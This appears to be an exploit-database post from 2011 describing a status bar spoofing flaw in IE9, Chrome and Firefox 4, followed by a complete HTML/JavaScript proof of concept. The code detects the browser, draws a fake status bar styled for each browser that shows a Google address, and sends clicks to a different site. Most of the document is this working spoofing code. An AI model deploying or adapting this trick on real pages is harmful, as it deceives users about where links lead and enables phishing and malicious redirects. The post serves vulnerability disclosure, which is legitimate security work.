#[+]Exploit Title: IE&Chrome&Firefox Status Bar Spoofing Vulnerability
#[+]Date: 17\04\2011
#[+]Author: xisigr
#[+]Version: IE9.0&Chrome all version & Firefox4.0
#[+]Tested On: WIN 7
#[+]CVE: N/A
这个漏洞存在于谷歌浏览器所有版本和火狐浏览器4.0版本以及IE9.0版本中。在这些浏览器中是没有固定状态栏的,只有当你用鼠标放到有链接的控件上时,状态栏才会出现,状态栏中将显示这个链接的地址。那么状态栏使用这样的设计模式,逻辑上就会存在一些错误。攻击者用脚本模拟一个点击控件,当鼠标 移动到此控件时,攻击者再使用图片或文本去模拟状态栏模块,此时就达到了状态栏欺骗的效果。当用户点击控件链接,转向的地址并非是状态栏中看到的地址,而转向了一个用户未知的恶意地址。这和传统的状态栏欺骗有所不同,当攻击者可以使用HTML语言去模拟浏览器一个固定模块的时候,欺骗就会发生。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>Status Bar Spoofing Vulnerability</title>
<style>
.firefox4{
background: -moz-linear-gradient(top,#FEFEFE,#DDDDDD);
width:250px;
height:20px;
border:solid 1px #cccccc;
-moz-border-radius-topright: 3px;
font-size:12px;
font-family:"微软雅黑";
color:#333333;
line-height:20px;
padding:0px 0px 0px 5px;
position:absolute;
bottom:0px;left:0px;
display:none;
}
.chrome{
background: #DFDFDF;
width:250px;
height:23px;
-webkit-border-top-right-radius: 4px;
font-size:12px;
font-family:"微软雅黑";
color:#333333;
line-height:23px;
padding:0px 0px 0px 3px;
position:absolute;
bottom:0px;left:0px;
display:none;
}
.ie9{
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=’#FFFFFF’,endColorstr=’#E4E5F0′,GradientType=’0′);
width:250px;
height:20px;
border:solid 1px #767676;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
box-shadow:2px 2px 4px #8E8E8E;
font-size:12px;
font-family:"微软雅黑";
color:#575757;
line-height:20px;
padding:0px 0px 0px 5px;
position:absolute;
bottom:4px;left:4px;
display:none;
}
.link{
color:blue;
text-decoration:underline;
cursor:pointer;
}
</style>
<script>
var Sys = {};
var ua = navigator.userAgent.toLowerCase();
var s;
(s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] :
(s = ua.match(/firefox\/([\d.]+)/)) ? Sys.firefox = s[1] :
(s = ua.match(/chrome\/([\d.]+)/)) ? Sys.chrome = s[1] :
(s = ua.match(/opera.([\d.]+)/)) ? Sys.opera = s[1] :
(s = ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0;
function setClass(){
if (Sys.ie) document.getElementById("statusbar").className = "ie9";
if (Sys.firefox) document.getElementById("statusbar").className = "firefox4";
if (Sys.chrome) document.getElementById("statusbar").className = "chrome";
if (Sys.opera) document.getElementById("statusbar").className = "opera";
if (Sys.safari) document.getElementById("statusbar").className = "safari";
}
function showBrowser(){
if (Sys.ie) document.write(‘IE: ‘ + Sys.ie);
if (Sys.firefox) document.write(‘Firefox: ‘ + Sys.firefox);
if (Sys.chrome) document.write(‘Chrome: ‘ + Sys.chrome);
if (Sys.opera) document.write(‘Opera: ‘ + Sys.opera);
if (Sys.safari) document.write(‘Safari: ‘ + Sys.safari);
}
function show(status){
document.getElementById("statusbar").style.display = status;
}
function goto(url) {
location = url;
}
</script>
</head>
<body onload="setClass();">
<div info>Your browser is <script>showBrowser()</script> try a <span class="link" onMouseover="show(‘block’);" onMouseout="show(‘none’)" onClick="goto(‘http://xeyeteam.appspot.com/’)">DEMO</span></div>
<div id = "statusbar" class="">http://www.google.com…</div>
</body>
</html>
0 条评论。